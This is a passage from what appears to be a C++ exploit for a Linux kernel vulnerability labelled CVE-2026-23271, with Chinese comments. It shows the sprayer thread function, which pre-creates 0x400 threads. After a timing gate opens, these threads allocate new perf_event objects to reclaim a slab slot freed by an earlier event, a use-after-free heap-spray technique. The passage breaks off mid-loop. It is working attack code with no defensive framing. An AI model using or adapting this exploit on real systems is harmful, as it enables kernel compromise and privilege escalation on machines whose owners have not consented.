Function sprayer_thread

CVE-2026-23271/exploit/exploit.cpp:1824–1945

[2] T4 Sprayer 线程 (CPU 1): 堆喷 orchestrator 预创建 SPRAY_B_COUNT 个线程,等待 WARNING gate 打开后同步释放, 用新的 perf_event (事件 B) 占据事件 A 释放的 slab slot。 完成后通过 sync_pipe 通知 Locator 线程进行受害者识别。

// 用新的 perf_event (事件 B) 占据事件 A 释放的 slab slot。
// 完成后通过 sync_pipe 通知 Locator 线程进行受害者识别。
void *sprayer_thread(void *arg)
{
    bind_to_cpu(1);
    int gate_opened = 0;
    uint64_t wait_start_ns;
    uint64_t now_ns;
    int open_done;

    for (int i = 0; i < SPRAY_B_COUNT; i++)
        spray_b_fds[i] = -1;

    // 重置 spray 统计变量
    __atomic_store_n(&tp_first_spray_alloc_ns, 0, __ATOMIC_RELEASE);
    __atomic_store_n(&tp_first_spray_alloc_idx, -1, __ATOMIC_RELEASE);
    __atomic_store_n(&tp_spray_open_done, 0, __ATOMIC_RELEASE);

    // 初始化 barrier: SPRAY_B_COUNT 个 spray 线程 + 1 个 orchestrator
    pthread_barrier_init(&spray_start_barrier, NULL, SPRAY_B_COUNT + 1);

// [2-1] 预创建0x400个 spray 子线程,它们在 barrier 处等待
    for (int i = 0; i < SPRAY_B_COUNT; i++) {
        spray_args[i].index = i;
        spray_args[i].start_barrier = &spray_start_barrier;
// [2-2] 分两个阶段错开分配：前128线程立即分配；剩余896线程等待一定时间后分配。
        pthread_create(&spray_threads[i], NULL, single_spray_thread, &spray_args[i]);   // 子线程中分配，等待通知。前128个立即分配，后面需等待间隔时间
    }

    log_info("[2-2] [Spray Event] precreated %d spray threads, waiting WARN gate...", SPRAY_B_COUNT);

// 循环等待 WARNING gate 打开 (Worker 检测到 taint 后设置 gate=1)
    while (__atomic_load_n(&tp_spray_gate, __ATOMIC_ACQUIRE) == 0 &&
           !stop_threads && !exit_threads) {
        usleep(1000);
    }

    if (__atomic_load_n(&tp_spray_gate, __ATOMIC_ACQUIRE) > 0 &&
        !stop_threads && !exit_threads)
        gate_opened = 1;

    log_info("[2-2] [Spray Event] Release precreated spray threads (gate_opened=%d)...", gate_opened);
    // Gate 释放延迟: 精确控制 spray 开始时间 (70ms 延迟)
    if (gate_opened && TP_GATE_RELEASE_DELAY_NS > 0)
        tp_spin_delay_ns((uint64_t)TP_GATE_RELEASE_DELAY_NS);
    pthread_barrier_wait(&spray_start_barrier);

    // Gate 未打开时通知 locator 失败并退出
    if (!gate_opened) {
        if (write(sync_pipe[1], "F", 1) != 1)
            log_warn("write sync_pipe failed");
        goto out_join;
    }

    // 等待首次 spray 分配完成 (确保至少有一个事件 B 被分配)
    wait_start_ns = get_time_ns();
    while (__atomic_load_n(&tp_first_spray_alloc_ns, __ATOMIC_ACQUIRE) == 0 &&
           !stop_threads && !exit_threads) {
        now_ns = get_time_ns();
        if (now_ns - wait_start_ns >= TP_SPRAY_FIRST_ALLOC_WAIT_NS)